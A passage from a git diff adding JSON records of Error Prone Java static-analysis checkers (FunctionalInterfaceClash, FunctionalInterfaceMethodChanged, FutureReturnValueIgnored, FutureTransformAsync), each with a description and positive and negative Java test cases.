when passing lambda arguments.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 173, + "branches": 19, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class Test {\n // BUG: Diagnostic contains: foo(Function)\n void foo(Consumer x) {}\n\n void foo(Function c) {}\n }" + }, + { + "description": "positiveNullary", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import java.util.concurrent.Callable;\n\n public class Test {\n interface MyCallable {\n String call();\n }\n\n // BUG: Diagnostic contains: foo(MyCallable)\n void foo(Callable x) {}\n\n void foo(MyCallable c) {}\n }" + }, + { + "description": "positiveInherited", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "import java.util.function.Function;\n\n class Super {\n void foo(Function x) {}\n }\n \n\n import java.util.function.Consumer;\n\n public class Test extends Super {\n // BUG: Diagnostic contains: Super.foo(Function)\n void foo(Consumer c) {}\n }" + }, + { + "description": "positiveArgs", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class Test {\n // BUG: Diagnostic contains: foo(Function)\n void foo(Consumer c) {}\n\n void foo(Function f) {}\n }" + }, + { + "description": "negativeOverride", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "import java.util.function.Consumer;\n\n class Super {\n void foo(Consumer x) {}\n }\n \n\n import java.util.function.Consumer;\n\n public class Test extends Super {\n void foo(Consumer x) {}\n }" + }, + { + "description": "negativeSuperConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "import java.util.function.Function;\n\n class Super {\n Super(Function r) {}\n }\n \n\n import java.util.function.Consumer;\n\n public class Test extends Super {\n Test(Consumer r) {\n super(null);\n }\n }" + }, + { + "description": "positiveConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class Test {\n // BUG: Diagnostic contains: Test(Function)\n Test(Consumer r) {}\n\n Test(Function c) {}\n }" + }, + { + "description": "positiveStatic", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class Test {\n // BUG: Diagnostic contains: foo(Function)\n static void foo(Consumer x) {}\n\n void foo(Function c) {}\n }" + }, + { + "description": "suppressWarningsOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "import java.lang.SuppressWarnings;\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class Test {\n @SuppressWarnings(\"FunctionalInterfaceClash\")\n void foo(Consumer x) {}\n\n void foo(Function c) {}\n }" + }, + { + "description": "shouldIgnore_transitiveInheritanceWithExpandedVisibility", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "package pkg1;\n\n public interface FunctionalInterface {\n String apply(String s);\n }\n \n\n package pkg2;\n\n import pkg1.FunctionalInterface;\n\n public abstract class BaseClass {\n abstract String doIt(FunctionalInterface fi);\n }\n \n\n package pkg2;\n\n import pkg1.FunctionalInterface;\n\n public class DerivedClass extends BaseClass {\n @Override\n public String doIt(FunctionalInterface fi) {\n return null;\n }\n }\n \n\n package pkg3;\n\n import pkg1.FunctionalInterface;\n import pkg2.DerivedClass;\n\n public class Test {\n DerivedClass getDerivedClass() {\n return new DerivedClass() {\n @Override\n public String doIt(FunctionalInterface fi) {\n return null;\n }\n };\n }\n }" + }, + { + "description": "negative_multipleClashingOverriddenMethods", + "expected-problems": null, + "expected-linenumbers": [ + 286 + ], + "code": "package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public abstract class BaseClass {\n // BUG: Diagnostic contains: When passing lambda arguments to this function\n abstract void baz(Consumer c);\n\n abstract void baz(Function f);\n }\n \n\n package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class DerivedClass extends BaseClass {\n @Override\n void baz(Consumer c) {}\n\n @Override\n void baz(Function f) {}\n }" + }, + { + "description": "negative_singleClashingOverriddenMethods", + "expected-problems": null, + "expected-linenumbers": [ + 323 + ], + "code": "package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public abstract class BaseClass {\n abstract void bar(Consumer c);\n }\n \n\n package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class DerivedClass extends BaseClass {\n @Override\n void bar(Consumer c) {}\n }" + }, + { + "description": "positive_overriddenAndNewClashingMethod", + "expected-problems": null, + "expected-linenumbers": [ + 354 + ], + "code": "package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class BaseClass {\n void conduct(Consumer c) {}\n }\n \n\n package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class ConductClass extends BaseClass {\n @Override\n // BUG: Diagnostic contains: disambiguate with:\n void conduct(Consumer c) {}\n\n void conduct(Function f) {}\n }" + }, + { + "description": "negative_overriddenMethod", + "expected-problems": null, + "expected-linenumbers": [ + 388 + ], + "code": "package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class BaseClass {\n void conduct(Consumer c) {}\n }\n \n\n package pkg2;\n\n import java.util.function.Function;\n import java.util.function.Consumer;\n\n public class ConductClass extends BaseClass {\n @Override\n void conduct(Consumer c) {}\n }" + }, + { + "description": "positive_overriddenInClassAndNewClashingMethod", + "expected-problems": null, + "expected-linenumbers": [ + 419 + ], + "code": "package pkg2;\n\n import java.util.function.Consumer;\n\n public abstract class Super {\n void barr(Consumer c) {}\n }\n \n\n package pkg2;\n\n import java.util.function.Consumer;\n\n public abstract class BaseClass extends Super {\n void barr(Consumer c) {}\n }\n \n\n package pkg2;\n\n import java.util.function.Function;\n\n public class MyDerivedClass extends BaseClass {\n // BUG: Diagnostic contains: disambiguate with:\n void barr(Function f) {}\n }" + }, + { + "description": "positive_overridesInClassAndNewClashingPairInSameClass", + "expected-problems": null, + "expected-linenumbers": [ + 459 + ], + "code": "package pkg2;\n\n import java.util.function.Consumer;\n import java.util.function.Function;\n\n public abstract class Super {\n // BUG: Diagnostic contains: When passing lambda arguments to this function\n void barr(Function f) {}\n\n void barr(Consumer c) {}\n }\n \n\n package pkg2;\n\n import java.util.function.Consumer;\n import java.util.function.Function;\n\n public abstract class BaseClass extends Super {\n void barr(Function f) {}\n\n void barr(Consumer c) {}\n\n // BUG: Diagnostic contains: When passing lambda arguments to this function\n void foo(Function f) {}\n\n void foo(Consumer c) {}\n }" + }, + { + "description": "oneIsMoreSpecific_notAmbiguous", + "expected-problems": null, + "expected-linenumbers": [ + 499 + ], + "code": "import java.util.function.Consumer;\n\n public class Test {\n void foo(Consumer c) {}\n\n void foo(SubConsumer c) {}\n\n interface SubConsumer extends Consumer {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceMethodChanged.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceMethodChanged.json new file mode 100644 index 0000000..8d993c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceMethodChanged.json @@ -0,0 +1,30 @@ +{ + "name": "FunctionalInterfaceMethodChanged", + "language": "java", + "description": "Casting a lambda to this @FunctionalInterface can cause a behavior change from casting to a functional superinterface, which is surprising to users. Prefer decorator methods to this surprising behavior.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 135, + "branches": 13, + "apis": 3, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n public class FunctionalInterfaceMethodChangedPositiveCases {\n @FunctionalInterface\n interface SuperFI {\n void superSam();\n }\n\n @FunctionalInterface\n interface OtherSuperFI {\n void otherSuperSam();\n }\n\n @FunctionalInterface\n interface SubFI extends SuperFI {\n void subSam();\n\n @Override\n // BUG: Diagnostic contains:\n default void superSam() {\n subSam();\n System.out.println(\"do something else\");\n }\n }\n\n @FunctionalInterface\n interface MultipleInheritanceSubFIOneBad extends SuperFI, OtherSuperFI {\n void subSam();\n\n @Override\n default void superSam() {\n subSam();\n }\n\n @Override\n // BUG: Diagnostic contains:\n default void otherSuperSam() {\n subSam();\n System.out.println(\"do something else\");\n }\n }\n\n @FunctionalInterface\n interface MultipleInheritanceSubFIBothBad extends SuperFI, OtherSuperFI {\n void subSam();\n\n @Override\n // BUG: Diagnostic contains:\n default void superSam() {\n superSam();\n System.out.println(\"do something else\");\n }\n\n @Override\n // BUG: Diagnostic contains:\n default void otherSuperSam() {\n subSam();\n System.out.println(\"do something else\");\n }\n }\n\n @FunctionalInterface\n interface ValueReturningSuperFI {\n String superSam();\n }\n\n @FunctionalInterface\n interface ValueReturningSubFI extends ValueReturningSuperFI {\n String subSam();\n\n @Override\n // BUG: Diagnostic contains:\n default String superSam() {\n System.out.println(\"do something else\");\n return subSam();\n }\n }\n\n @FunctionalInterface\n public interface ValueReturningSubFI2 extends ValueReturningSuperFI {\n\n String subSam();\n\n @Override\n // BUG: Diagnostic contains:\n default String superSam() {\n subSam();\n return null;\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.concurrent.Callable;\n\n public class FunctionalInterfaceMethodChangedNegativeCases {\n @FunctionalInterface\n interface SuperFI {\n void superSam();\n }\n\n @FunctionalInterface\n interface OtherSuperFI {\n void otherSuperSam();\n }\n\n @FunctionalInterface\n interface SubFI extends SuperFI {\n void subSam();\n\n @Override\n default void superSam() {\n subSam();\n }\n }\n\n @FunctionalInterface\n interface MultipleInheritanceSubFI extends SuperFI, OtherSuperFI {\n void subSam();\n\n @Override\n default void superSam() {\n subSam();\n }\n\n @Override\n default void otherSuperSam() {\n subSam();\n }\n }\n\n @FunctionalInterface\n interface ValueReturningSuperFI {\n String superSam();\n }\n\n @FunctionalInterface\n interface ValueReturningSubFI extends ValueReturningSuperFI {\n String subSam();\n\n @Override\n default String superSam() {\n return subSam();\n }\n }\n\n // Regression test for b/68075767\n @FunctionalInterface\n public interface VoidCallable extends Callable {\n\n void voidCall() throws Exception;\n\n @Override\n default Void call() throws Exception {\n voidCall();\n return null;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureReturnValueIgnored.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureReturnValueIgnored.json new file mode 100644 index 0000000..c961adf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureReturnValueIgnored.json @@ -0,0 +1,54 @@ +{ + "name": "FutureReturnValueIgnored", + "language": "java", + "description": "Return value of methods returning Future must be checked. Ignoring returned Futures suppresses exceptions thrown from the code that completes the Future.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 130, + "branches": 9, + "apis": 3, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.util.concurrent.Futures.immediateFuture;\n\nimport com.google.common.base.Function;\nimport com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.Future;\n\n/**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\npublic class FutureReturnValueIgnoredPositiveCases {\n\n IntValue intValue = new IntValue(0);\n\n private static Future increment(int bar) {\n return null;\n }\n\n public T returnFutureType(T input) {\n return input;\n }\n\n public void testFutureGenerics() {\n // BUG: Diagnostic contains: Future must be checked\n returnFutureType(Futures.immediateCancelledFuture());\n }\n\n public void foo() {\n int i = 1;\n // BUG: Diagnostic contains: Future must be checked\n increment(i);\n System.out.println(i);\n }\n\n public void bar() {\n // BUG: Diagnostic contains: Future must be checked\n this.intValue.increment();\n }\n\n public void testIntValue() {\n IntValue value = new IntValue(10);\n // BUG: Diagnostic contains: Future must be checked\n value.increment();\n }\n\n public void testFunction() {\n new Function>() {\n @Override\n public ListenableFuture apply(Object input) {\n return immediateFuture(null);\n }\n // BUG: Diagnostic contains: Future must be checked\n }.apply(null);\n }\n\n private class IntValue {\n\n final int i;\n\n public IntValue(int i) {\n this.i = i;\n }\n\n public ListenableFuture increment() {\n return immediateFuture(new IntValue(i + 1));\n }\n\n public void increment2() {\n // BUG: Diagnostic contains: Future must be checked\n this.increment();\n }\n\n public void increment3() {\n // BUG: Diagnostic contains: Future must be checked\n increment();\n }\n }\n\n static ListenableFuture transform(\n ListenableFuture input, Function function, Executor executor) {\n return null;\n }\n\n static ListenableFuture futureReturningMethod() {\n return null;\n }\n\n static ListenableFuture futureReturningMethod(Object unused) {\n return null;\n }\n\n static void consumesFuture(Future future) {}\n\n static void testIgnoredFuture() throws Exception {\n ListenableFuture input = null;\n // BUG: Diagnostic contains: nested type\n Future output = transform(input, foo -> futureReturningMethod(), runnable -> runnable.run());\n\n Future otherOutput =\n // BUG: Diagnostic contains: nested type\n transform(\n input,\n new Function>() {\n @Override\n public ListenableFuture apply(String string) {\n return futureReturningMethod();\n }\n },\n runnable -> runnable.run());\n\n // BUG: Diagnostic contains: nested type\n transform(\n input,\n new Function>() {\n @Override\n public ListenableFuture apply(String string) {\n return futureReturningMethod();\n }\n },\n runnable -> runnable.run())\n .get();\n\n consumesFuture(\n // BUG: Diagnostic contains: nested type\n transform(\n input,\n new Function>() {\n @Override\n public ListenableFuture apply(String string) {\n System.out.println(\"First generics\");\n return futureReturningMethod();\n }\n },\n runnable -> runnable.run()));\n\n consumesFuture(\n transform(\n input,\n new Function() {\n @Override\n public Object apply(String string) {\n // BUG: Diagnostic contains: returned future may be ignored\n return futureReturningMethod();\n }\n },\n runnable -> runnable.run()));\n consumesFuture(\n transform(\n input,\n new Function() {\n @Override\n public Object apply(String string) {\n Future result = futureReturningMethod();\n // BUG: Diagnostic contains: returned future may be ignored\n return result;\n }\n },\n runnable -> runnable.run()));\n\n consumesFuture(\n // BUG: Diagnostic contains: nested type\n transform(input, foo -> futureReturningMethod(), runnable -> runnable.run()));\n\n consumesFuture(\n // BUG: Diagnostic contains: nested type\n transform(\n input,\n foo -> {\n return futureReturningMethod();\n },\n runnable -> runnable.run()));\n\n consumesFuture(\n // BUG: Diagnostic contains: nested type\n transform(\n input,\n FutureReturnValueIgnoredPositiveCases::futureReturningMethod,\n runnable -> runnable.run()));\n\n ListenableFuture done =\n transform(\n // BUG: Diagnostic contains: nested type\n transform(\n input,\n new Function>() {\n @Override\n public ListenableFuture apply(String string) {\n return futureReturningMethod();\n }\n },\n runnable -> runnable.run()),\n new Function() {\n @Override\n public Object apply(Object string) {\n return new Object();\n }\n },\n runnable -> runnable.run());\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.util.concurrent.Futures.immediateFuture;\nimport static com.google.common.util.concurrent.MoreExecutors.directExecutor;\nimport static org.junit.Assert.assertThrows;\nimport static org.mockito.Mockito.doAnswer;\n\nimport com.google.common.base.Function;\nimport com.google.common.base.Functions;\nimport com.google.common.base.Preconditions;\nimport com.google.common.base.Predicate;\nimport com.google.common.base.Supplier;\nimport com.google.common.base.Ticker;\nimport com.google.common.reflect.AbstractInvocationHandler;\nimport com.google.common.util.concurrent.AbstractFuture;\nimport com.google.common.util.concurrent.AsyncFunction;\nimport com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport com.google.errorprone.annotations.CanIgnoreReturnValue;\nimport io.netty.channel.ChannelFuture;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.ExecutorCompletionService;\nimport java.util.concurrent.ForkJoinTask;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.FutureTask;\nimport java.util.concurrent.RecursiveAction;\nimport java.util.concurrent.ScheduledExecutorService;\nimport org.junit.function.ThrowingRunnable;\nimport org.mockito.invocation.InvocationOnMock;\nimport org.mockito.stubbing.Answer;\n\n/** */\npublic class FutureReturnValueIgnoredNegativeCases {\n\n public FutureReturnValueIgnoredNegativeCases() {}\n\n static ListenableFuture getFuture() {\n return immediateFuture(null);\n }\n\n interface CanIgnoreMethod {\n @CanIgnoreReturnValue\n Future getFuture();\n }\n\n public static class CanIgnoreImpl implements CanIgnoreMethod {\n @Override\n public Future getFuture() {\n return null;\n }\n }\n\n static void callIgnoredInterfaceMethod() {\n new CanIgnoreImpl().getFuture();\n }\n\n @CanIgnoreReturnValue\n static ListenableFuture getFutureIgnore() {\n return immediateFuture(null);\n }\n\n static void putInMap() {\n Map> map = new HashMap<>();\n map.put(new Object(), immediateFuture(null));\n Map map2 = new HashMap();\n map2.put(new Object(), immediateFuture(null));\n }\n\n static void preconditions()\n throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Preconditions.checkNotNull(getFuture());\n Preconditions.checkNotNull(new Object());\n FutureReturnValueIgnoredNegativeCases.class.getDeclaredMethod(\"preconditions\").invoke(null);\n }\n\n static void checkIgnore() {\n getFutureIgnore();\n }\n\n void ignoreForkJoinTaskFork(ForkJoinTask t) {\n t.fork();\n }\n\n void ignoreForkJoinTaskFork_subclass(RecursiveAction t) {\n t.fork();\n }\n\n void ignoreExecutorCompletionServiceSubmit(ExecutorCompletionService s) {\n s.submit(() -> null);\n }\n\n void ignoreChannelFutureAddListener(ChannelFuture cf) {\n cf.addListener((ChannelFuture f) -> {});\n }\n\n void ignoreChannelFutureAddListeners(ChannelFuture cf) {\n cf.addListeners((ChannelFuture f) -> {}, (ChannelFuture f) -> {});\n }\n\n ListenableFuture ignoreVarArgs(\n Callable combiner, Executor executor, ListenableFuture... futures) {\n return combine(combiner, executor, Arrays.asList(futures));\n }\n\n public static ListenableFuture combine(\n final Callable combiner,\n Executor executor,\n Iterable> futures) {\n return null;\n }\n\n private static final class TypedClass {\n ListenableFuture ignoreReturnTypeSetByInputFuture(T input) {\n return returnsInputType(logAsyncInternal(input), 0);\n }\n\n protected ListenableFuture logAsyncInternal(T record) {\n return null;\n }\n\n ListenableFuture returnsInputType(ListenableFuture future, final int n) {\n return null;\n }\n }\n\n public static class RetryingFuture extends AbstractFuture {\n\n /**\n * Enables the user to receive notifications about state changes of a retrying future, and use\n * them e.g. for logging.\n */\n public interface Interceptor {}\n\n /** Creates a builder for {@link RetryingFuture} instances. */\n public static Builder builder() {\n return new Builder<>();\n }\n\n /** A builder for {@link RetryingFuture} instances. */\n public static final class Builder {\n\n private Builder() {}\n\n /** Sets the {@link Executor} in which all tries and retries are performed. */\n @CanIgnoreReturnValue\n public Builder setExecutor(Executor executor) {\n return this;\n }\n\n /**\n * Sets the {@link ScheduledExecutorService} used for scheduling retries after delay. It will\n * also be used for tries and retries if {@link #setExecutor(Executor)} is not called.\n */\n @CanIgnoreReturnValue\n public Builder setScheduledExecutorService(\n ScheduledExecutorService scheduledExecutorService) {\n return this;\n }\n\n public Builder setInterceptor(Interceptor interceptor) {\n // Safely limiting the kinds of RetryingFutures this builder can produce,\n // based on the type of the interceptor.\n @SuppressWarnings(\"unchecked\")\n Builder me = (Builder) this;\n return me;\n }\n\n public Builder setTicker(Ticker ticker) {\n return this;\n }\n\n public RetryingFuture build(\n Supplier> futureSupplier,\n Predicate shouldContinue) {\n return new RetryingFuture(\n futureSupplier,\n null,\n shouldContinue,\n null,\n // We need to maintain Java 7 compatibility\n null,\n null,\n null);\n }\n\n public RetryingFuture build(\n Supplier> futureSupplier,\n Object strategy,\n Predicate shouldContinue) {\n return new RetryingFuture(\n futureSupplier,\n strategy,\n shouldContinue,\n null,\n // We need to maintain Java 7 compatibility\n null,\n null,\n null);\n }\n }\n\n RetryingFuture(\n Supplier> futureSupplier,\n Object strategy,\n Predicate shouldContinue,\n Executor executor,\n ScheduledExecutorService scheduledExecutorService,\n Ticker ticker,\n final Interceptor interceptor) {}\n\n public static RetryingFuture retryingFuture(\n Supplier> futureSupplier,\n Object strategy,\n Predicate shouldContinue,\n Executor executor,\n Interceptor interceptor) {\n return builder()\n .setInterceptor(interceptor)\n .setExecutor(executor)\n .build(futureSupplier, strategy, shouldContinue);\n }\n }\n\n private static class TypedObject {\n public ListenableFuture transformAndClose(\n Function function, Executor executor) {\n return null;\n }\n\n public ListenableFuture close() {\n return transformAndClose(Functions.identity(), directExecutor());\n }\n }\n\n private static void mocking() {\n doAnswer(invocation -> immediateFuture(null)).when(null);\n doAnswer(\n invocation -> {\n return immediateFuture(null);\n })\n .when(null);\n doAnswer(\n new Answer() {\n @Override\n public Object answer(InvocationOnMock mock) {\n return immediateFuture(null);\n }\n })\n .when(null);\n }\n\n private static void throwing() {\n assertThrows(RuntimeException.class, () -> immediateFuture(null));\n assertThrows(\n RuntimeException.class,\n () -> {\n immediateFuture(null);\n });\n assertThrows(\n RuntimeException.class,\n new ThrowingRunnable() {\n @Override\n public void run() throws Throwable {\n immediateFuture(null);\n }\n });\n }\n\n private static AsyncFunction provideAsyncFunction() {\n return Futures::immediateFuture;\n }\n\n private static Runnable provideNonFutureInterface() {\n return new FutureTask(null);\n }\n\n private static void invocation() {\n new AbstractInvocationHandler() {\n @Override\n protected Object handleInvocation(Object o, Method method, Object[] params) {\n return immediateFuture(null);\n }\n };\n }\n}" + }, + { + "description": "classAnnotationButCanIgnoreReturnValue", + "expected-problems": null, + "expected-linenumbers": [ + 549 + ], + "code": "package lib;\n\n public class Lib {\n @com.google.errorprone.annotations.CanIgnoreReturnValue\n public static java.util.concurrent.Future f() {\n return null;\n }\n }\n \n\n class Test {\n void m() {\n lib.Lib.f();\n }\n }" + }, + { + "description": "completableFutureReturnValue", + "expected-problems": null, + "expected-linenumbers": [ + 576 + ], + "code": "import java.util.concurrent.CompletableFuture;\n\n class Test {\n void f(CompletableFuture cf) {\n cf.exceptionally(t -> null);\n }\n }" + }, + { + "description": "completableFutureReturnValueJdk9", + "expected-problems": null, + "expected-linenumbers": [ + 593 + ], + "code": "import java.util.concurrent.CompletableFuture;\n import static java.util.concurrent.TimeUnit.MILLISECONDS;\n\n class Test {\n void f(CompletableFuture cf) {\n cf.completeAsync(() -> null);\n cf.completeAsync(() -> null, null);\n cf.orTimeout(0, MILLISECONDS);\n cf.completeOnTimeout(null, 0, MILLISECONDS);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureTransformAsync.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureTransformAsync.json new file mode 100644 index 0000000..f78e805 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureTransformAsync.json @@ -0,0 +1,166 @@ +{ + "name": "FutureTransformAsync", + "language": "java", + "description": "Use transform instead of transformAsync when all returns are an immediate future.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 219, + "branches": 16, + "apis": 6, + "test": [ + { + "description": "transformAsync_expressionLambda", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(5),\n value -> Futures.immediateFuture(\"value: \" + value),\n executor);\n return future;\n }\n }\n \n\nimport com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\n\nclass Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transform(Futures.immediateFuture(5), value -> \"value: \" + value, executor);\n return future;\n }\n}" + }, + { + "description": "transformAsync_statementLambda", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(5),\n value -> {\n if (value > 5) {\n return Futures.immediateFuture(\"large\");\n } else if (value < 5) {\n return Futures.immediateFuture(\"small\");\n }\n return Futures.immediateFuture(\"value: \" + value);\n },\n executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transform(\n Futures.immediateFuture(5),\n value -> {\n if (value > 5) {\n return \"large\";\n } else if (value < 5) {\n return \"small\";\n }\n return \"value: \" + value;\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_notAllImmediateFutures", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture foo(String s) {\n return Futures.immediateFuture(s);\n }\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(5),\n value -> {\n if (value > 0) {\n return foo(\"large\");\n }\n return Futures.immediateFuture(\"value: \" + value);\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_statementLambda_throwsCheckedException", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.io.FileNotFoundException;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(5),\n value -> {\n if (value > 0) {\n throw new FileNotFoundException(\"large\");\n }\n return Futures.immediateFuture(\"value: \" + value);\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_statementLambda_methodThrowsCheckedException", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.io.FileNotFoundException;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n private void throwIfLarge(int unused) throws FileNotFoundException {}\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(5),\n value -> {\n throwIfLarge(value);\n return Futures.immediateFuture(\"value: \" + value);\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_expressionLambda_methodThrowsCheckedException", + "expected-problems": null, + "expected-linenumbers": [ + 236 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.io.FileNotFoundException;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n private String throwIfLarge(int value) throws FileNotFoundException {\n return \"value: \" + value;\n }\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(5),\n value -> Futures.immediateFuture(throwIfLarge(value)),\n executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_uncheckedException", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(5),\n value -> {\n if (value > 0) {\n throw new IllegalStateException(\"large\");\n }\n return Futures.immediateFuture(\"value: \" + value);\n },\n executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transform(\n Futures.immediateFuture(5),\n value -> {\n if (value > 0) {\n throw new IllegalStateException(\"large\");\n }\n return \"value: \" + value;\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_returnTransformAsyncResult", + "expected-problems": null, + "expected-linenumbers": [ + 323 + ], + "code": "import com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\n\nclass Test {\n private Executor executor;\n\n ListenableFuture test() {\n return Futures.transformAsync(\n Futures.immediateFuture(5), value -> Futures.immediateFuture(\"value: \" + value), executor);\n }\n}\n\n\nimport com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\n\nclass Test {\n private Executor executor;\n\n ListenableFuture test() {\n return Futures.transform(Futures.immediateFuture(5), value -> \"value: \" + value, executor);\n }\n}" + }, + { + "description": "transformAsync_staticImports", + "expected-problems": null, + "expected-linenumbers": [ + 360 + ], + "code": "import static com.google.common.util.concurrent.Futures.immediateFuture;\n import static com.google.common.util.concurrent.Futures.transformAsync;\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture foo(String s) {\n return immediateFuture(s);\n }\n\n ListenableFuture test() {\n ListenableFuture future =\n transformAsync(foo(\"x\"), value -> immediateFuture(\"value: \" + value), executor);\n 